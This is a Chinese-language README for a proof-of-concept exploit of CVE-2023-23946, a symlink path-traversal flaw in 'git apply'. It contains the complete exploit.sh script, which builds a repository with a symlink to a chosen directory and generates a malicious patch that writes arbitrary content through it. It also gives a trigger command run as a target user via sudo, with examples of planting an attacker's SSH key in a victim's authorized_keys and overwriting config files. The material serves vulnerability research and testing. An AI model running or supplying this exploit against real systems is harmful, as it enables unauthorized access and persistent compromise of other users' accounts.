CVE-2023-23946 Git 符号链接漏洞利用 PoC
本项目提供了一个功能完整的概念验证(PoC)利用脚本,用于演示 CVE-2023-23946 安全漏洞。该漏洞影响 Git 2.39.2、2.38.4、2.37.6、2.36.5、2.35.7、2.34.7、2.33.7、2.32.6、2.31.7 及 2.30.8 之前的版本。
功能特性
- 动态参数输入:支持用户自定义目标目录、文件名和文件内容
- 自动化沙箱环境:在
/tmp目录下自动创建隔离的工作空间 - Git 仓库模拟:自动初始化 Git 仓库并创建符号链接提交
- 恶意补丁生成:根据用户输入动态生成利用补丁文件
- 漏洞触发演示:提供完整的命令示例以触发漏洞
安装指南
系统要求
- Linux / Unix 操作系统
- Git 版本(受漏洞影响的旧版本)
- Bash shell
获取项目
git clone https://github.com/tralsesec/CVE-2023-23946.git
cd CVE-2023-23946
chmod +x exploit.sh
依赖项
- Git(受漏洞影响的版本)
- 标准 Unix 工具(cat、chmod、rm 等)
使用说明
基础使用
运行利用脚本并按照提示输入参数:
./exploit.sh
脚本将依次提示:
- 输入目标符号链接目录(如
/home/sbrown/.ssh) - 输入要创建的文件名(如
authorized_keys) - 输入文件内容(按
CTRL+D结束输入)
触发漏洞
脚本执行完成后,使用以下命令触发漏洞:
cd /tmp/cve_git_patch && sudo -u <target_user> /usr/bin/git apply -v exploit.patch
典型场景示例
写入 SSH 授权密钥:
Enter the target directory to symlink: /home/victim/.ssh
Enter the filename to create: authorized_keys
Enter the file content: ssh-rsa AAAAB3... attacker@example.com
覆盖配置文件:
Enter the target directory to symlink: /home/victim/.config
Enter the filename to create: malicious.conf
Enter the file content: malicious configuration data
核心代码
主利用脚本 exploit.sh
#!/bin/bash
# 1. 动态收集用户输入
read -p "Enter the target directory to symlink (e.g., /home/sbrown/.ssh): " TARGET_LINK
read -p "Enter the filename to create inside that directory (e.g., authorized_keys): " TARGET_FILE_NAME
echo "Enter the file content / payload (Press CTRL+D when finished):"
FILE_CONTENT=$(cat)
# 2. 在 /tmp 中创建干净的沙箱工作空间
DIR_NAME="cve_git_patch"
cd /tmp && rm -rf "./$DIR_NAME" && mkdir "$DIR_NAME" && chmod 777 "./$DIR_NAME" && cd "./$DIR_NAME"
# 3. 初始化 Git 仓库并提交初始符号链接
git init .
ln -s "$TARGET_LINK" symlink
git add symlink
git commit -m "add symlink" --quiet
# 4. 生成动态 Git 漏洞利用补丁文件
cat << EOF > exploit.patch
diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/$TARGET_FILE_NAME
new file mode 100644
index 0000000..0000000
--- /dev/null
+++ b/renamed-symlink/$TARGET_FILE_NAME
@@ -0,0 +1,1 @@
+$FILE_CONTENT
EOF
echo -e "\n\033[0;32m[+] SUCCESS: Repository setup complete in /tmp/$DIR_NAME\033[0m"
echo -e "\033[0;32m[+] exploit.patch has been generated with your custom inputs.\033[0m"
echo -e "\nTo trigger the exploit, execute the following command as the target user:\n"
echo -e "cd /tmp/$DIR_NAME && sudo -u sbrown /usr/bin/git apply -v exploit.patch\n"
补丁文件结构解析
利用脚本生成的特殊补丁文件 exploit.patch 包含两个关键部分:
- 符号链接重命名操作:将
symlink重命名为renamed-symlink,保持符号链接属性不变 - 文件创建操作:在重命名后的符号链接路径下创建新文件,利用漏洞绕过路径验证
免责声明
本软件严格仅供教育目的和授权的安全测试使用。作者不对因使用本工具而导致的任何直接或间接损害、损失或法律后果负责。使用者需自行承担风险。 6HFtX5dABrKlqXeO5PUv/0FpesJ/UBlKw8I1s8F6NKs=